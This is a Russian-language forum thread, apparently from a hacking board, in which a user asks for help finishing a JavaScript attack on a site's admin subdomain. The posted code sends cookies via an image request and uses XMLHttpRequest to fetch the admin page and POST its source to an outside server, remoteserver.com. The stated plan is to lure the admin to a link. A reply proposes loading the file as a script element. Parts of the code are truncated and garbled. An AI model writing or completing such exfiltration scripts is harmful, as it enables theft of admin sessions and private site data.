XSS => Код страницы

[Elva]

1. На "sub.domen.com" расположен html файл со скриптом.

Саб является админкой. На куке http only.

Скрипт


img = new Image(); img.src = "https://domen.com/img.gif?"+document.cookie;

Отредактировать файл нельзя.

Залить новый нельзя.

2. Есть код для получения исходника страницы и передачи на удаленный сервер


var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://sub.domen.com/', true);
xhr.send(null);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if(xhr.status == 200) {
var fhr = new XMLHttpRequest();
fhr.open('POST', 'http://remoteserver.com/i.php', true);
fhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
fhr.withCredentials = true;
var body = 'file=' + escape(xhr.responseText);
var aBody = new Uint8Array(body.length);
for (var i = 0; i ", FILE_APPEND);
?>

Задача

Доделать js скрипт парсинга страницы, чтобы в дальнейшем его подставить на место img.gif и спарсить админку, подогнав админа на линк.

Что необходимо сделать, чтобы скрипт сработал?[/I]

[crlf]

Никак, у тебя получается просто битая картинка. Нужно:


var script = document.createElement('script');
script.src = "https://domen.com/img.gif";

или

[artkar]

Непонял, ты сможешь подменить файл img.gif на https://domen.com?